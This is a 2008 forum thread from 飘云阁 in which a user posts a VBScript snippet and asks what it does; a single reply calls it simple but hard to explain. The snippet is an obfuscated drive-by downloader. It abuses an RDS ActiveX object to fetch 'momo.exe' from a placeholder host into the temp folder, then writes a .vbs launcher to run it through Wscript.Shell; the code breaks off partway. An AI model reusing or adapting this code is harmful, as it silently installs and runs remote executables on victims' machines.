飘云阁

 找回密码
 加入我们

QQ登录

只需一步,快速开始

查看: 2547|回复: 1

有个VBScript代码不懂什么意思!请问有哪位高手能解释一下吗?

[复制链接]

该用户从未签到

发表于 2008-11-9 16:14:25 | 显示全部楼层 |阅读模式
---------------------------
VBScript
---------------------------
on error resume next

curl="http://xxx.xxx.xxx/momo.exe"

fname1="momo.exe"

fname2="momo.vbs"

Set df = document.createElement("object")

df.setAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"

str="Microsoft.XMLHTTP"

Set x = df.CreateObject(str,"")

C1="Ado"

C2="db."

C3="str"

C4="eam"

str1=C1&C2&C3&C4

str5=str1

set S = df.createobject(str5,"")

S.type = 1

str6="GET"

x.Open str6, curl, False

x.Send

s1="Script"

s2="ing."

s3="File"

s4="SystemObject"

s0=s1+s2+s3+s4

set F = df.createobject(s0,"")

set tmp = F.GetSpecialFolder(2)

fname1= F.BuildPath(tmp,fname1)

S.open

S.write x.responseBody

S.savetofile fname1,2

S.close

fname2= F.BuildPath(tmp,fname2)

Set ts = F.OpenTextFile(fname2, 2, True)

ts.WriteLine "Set Shell = CreateObject(""Wscript.Shell"")"

sql="Shell.Run("""+fname1+""")"

ts.WriteLine sql

ts.WriteLine "set Shell=Nothing"

ts.WriteLine "i=1"

ts.close

if F.FileExists(fname1)=true then

if F.FileExists(fname2)=true then

    sha="Shell.App"

    shb=sha

   
---------------------------
确定   
---------------------------
http://xxx.xxx.xxx/
PYG19周年生日快乐!
  • TA的每日心情
    开心
    2023-4-6 10:07
  • 签到天数: 23 天

    [LV.4]偶尔看看III

    发表于 2009-2-3 09:13:11 | 显示全部楼层
    很简单,不过不太好解释
    PYG19周年生日快乐!
    您需要登录后才可以回帖 登录 | 加入我们

    本版积分规则

    快速回复 返回顶部 返回列表